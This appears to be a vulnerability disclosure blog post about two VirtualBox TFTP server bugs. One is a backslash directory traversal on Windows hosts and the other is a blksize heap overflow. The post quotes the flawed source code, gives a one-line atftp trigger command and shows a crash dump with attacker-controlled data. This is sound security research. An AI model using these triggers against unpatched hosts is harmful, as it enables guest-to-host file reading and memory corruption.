Friday, January 18, 2019

VirtualBox TFTP server vulnerabilities

In my previous blog post I wrote about VirtualBox DHCP bugs which can be triggered from an unprivileged guest user, in the default configuration and without Guest Additions installed. TFTP server for PXE boot is another attack surface which can be reached from the same configuration. VirtualBox in NAT mode (default configuration) runs a read only TFTP server in the IP address to support PXE boot.

CVE-2019-2553 - Directory traversal vulnerability

The source code of the TFTP server is at src/VBox/Devices/Network/slirp/tftp.c and it is based on the TFTP server used in QEMU. The below comment can be found in the source:
 * This code is based on:
 * tftp.c - a simple, read-only tftp server for qemu
The guest provided file path is validated using the function tftpSecurityFilenameCheck() as below:
 * This function evaluate file name.
 * @param pu8Payload
 * @param cbPayload
 * @param cbFileName
 * @return VINF_SUCCESS -
DECLINLINE(int) tftpSecurityFilenameCheck(PNATState pData, PCTFTPSESSION pcTftpSession)
    size_t cbSessionFilename = 0;
    int rc = VINF_SUCCESS;
    AssertPtrReturn(pcTftpSession, VERR_INVALID_PARAMETER);
    cbSessionFilename = RTStrNLen((const char *)pcTftpSession->pszFilename, TFTP_FILENAME_MAX);
    if (   !RTStrNCmp((const char*)pcTftpSession->pszFilename, "../", 3)
        || (pcTftpSession->pszFilename[cbSessionFilename - 1] == '/')
        ||  RTStrStr((const char *)pcTftpSession->pszFilename, "/../"))
        rc = VERR_FILE_NOT_FOUND;

    /* only allow exported prefixes */
    if (   RT_SUCCESS(rc)
        && !tftp_prefix)
    return rc;
This code again is based on the validation done in QEMU (slirp/tftp.c)
  /* do sanity checks on the filename */
  if (!strncmp(req_fname, "../", 3) ||
      req_fname[strlen(req_fname) - 1] == '/' ||
      strstr(req_fname, "/../")) {
      tftp_send_error(spt, 2, "Access violation", tp);
Interesting observation here is, above validation done in QEMU is specific to Linux hosts. However, VirtualBox relies on the same validation for Windows hosts too. Since backslash can be used as directory separator in Windows, validations done in tftpSecurityFilenameCheck() can be bypassed to read host files accessible under the privileges of the VirtualBox process. The default path to TFTP root folder is C:\Users\\.VirtualBox\TFTP. Payload to read other files from the host needs to be crafted accordingly. Below is the demo:

CVE-2019-2552 - Heap overflow due to incorrect validation of TFTP blocksize option

The function tftpSessionOptionParse() sets the value of TFTP options

DECLINLINE(int) tftpSessionOptionParse(PTFTPSESSION pTftpSession, PCTFTPIPHDR pcTftpIpHeader)
        else if (fWithArg)
            if (!RTStrICmp("blksize", g_TftpDesc[idxOptionArg].pszName))
                rc = tftpSessionParseAndMarkOption(pszTftpRRQRaw, &pTftpSession->OptionBlkSize);
                if (pTftpSession->OptionBlkSize.u64Value > UINT16_MAX)
                    rc = VERR_INVALID_PARAMETER;
'blksize' option is checked if the value is > UINT16_MAX. Later the value OptionBlkSize.u64Value gets used in tftpReadDataBlock() to read the file content
DECLINLINE(int) tftpReadDataBlock(PNATState pData,
                                  PTFTPSESSION pcTftpSession,
                                  uint8_t *pu8Data,
                                  int *pcbReadData)
    RTFILE  hSessionFile;
    int rc = VINF_SUCCESS;

    uint16_t u16BlkSize = 0;
    . . .
    AssertReturn(pcTftpSession->OptionBlkSize.u64Value < UINT16_MAX, VERR_INVALID_PARAMETER); 
    . . .
    u16BlkSize = (uint16_t)pcTftpSession->OptionBlkSize.u64Value;
    . . .
        rc = RTFileRead(hSessionFile, pu8Data, u16BlkSize, &cbRead);
    . . .
pcTftpSession->OptionBlkSize.u64Value < UINT16_MAX validation is incorrect. During the call to RTFileRead(), the file contents can overflow the buffer adjacent to 'pu8Data' by setting a value for blksize greater than the MTU. This bug can be used in combination with directory traversal bug to trigger the heap overflow with controlled data e.g. if shared folders are enabled, guest can drop a file with arbitrary contents in the host, then read the file using directory traversal bug.

For the ease of debugging lets use VirtualBox for Linux. Create a file of size say UINT16_MAX in the host TFTP root folder i.e. ~/.config/VirtualBox/TFTP, then read the file from the guest with a large blksize value

guest@ubuntu:~$ atftp --trace --verbose --option "blksize 65535" --get -r payload -l payload
Thread 30 "NAT" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff8ccf4700 (LWP 11024)]
RAX: 0x4141414141414141 ('AAAAAAAA')
RBX: 0x7fff8e5f16dc ('A' ...)
RCX: 0x1 
RDX: 0x4141414141414141 ('AAAAAAAA')
RSI: 0x800 
RDI: 0x140e730 --> 0x219790326 
RBP: 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...)
RSP: 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...)
RIP: 0x7fff9457d8a8 (<slirp_uma_alloc>: mov    QWORD PTR [rax+0x20],rdx)
R8 : 0x0 
R9 : 0x10 
R10: 0x41414141 ('AAAA')
R11: 0x7fff8e5f1de4 ('A' ...)
R12: 0x140e720 --> 0xdead0002 
R13: 0x7fff8e5f1704 ('A' ...)
R14: 0x140e7b0 --> 0x7fff8e5f16dc ('A' ...)
R15: 0x140e730 --> 0x219790326
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
   0x7fff9457d89f <slirp_uma_alloc>: test   rax,rax
   0x7fff9457d8a2 <slirp_uma_alloc>: je     0x7fff9457d8b0 <slirp_uma_alloc>
   0x7fff9457d8a4 <slirp_uma_alloc>: mov    rdx,QWORD PTR [rbx+0x20]
=> 0x7fff9457d8a8 <slirp_uma_alloc>: mov    QWORD PTR [rax+0x20],rdx
   0x7fff9457d8ac <slirp_uma_alloc>: mov    rax,QWORD PTR [rbx+0x18]
   0x7fff9457d8b0 <slirp_uma_alloc>: mov    rdx,QWORD PTR [rbx+0x20]
   0x7fff9457d8b4 <slirp_uma_alloc>: mov    QWORD PTR [rdx],rax
   0x7fff9457d8b7 <slirp_uma_alloc>: mov    rax,QWORD PTR [r12+0x88]
0000| 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...)
0008| 0x7fff8ccf39b8 --> 0x140e720 --> 0xdead0002 
0016| 0x7fff8ccf39c0 --> 0x7fff8e5eddde --> 0x5b0240201045 
0024| 0x7fff8ccf39c8 --> 0x140dac4 --> 0x0 
0032| 0x7fff8ccf39d0 --> 0x140e730 --> 0x219790326 
0040| 0x7fff8ccf39d8 --> 0x140dac4 --> 0x0 
0048| 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...)
0056| 0x7fff8ccf39e8 --> 0x7fff9457df41 (<uma_zalloc_arg>: test   rax,rax)
Legend: code, data, rodata, value
Stopped reason: SIGSEGV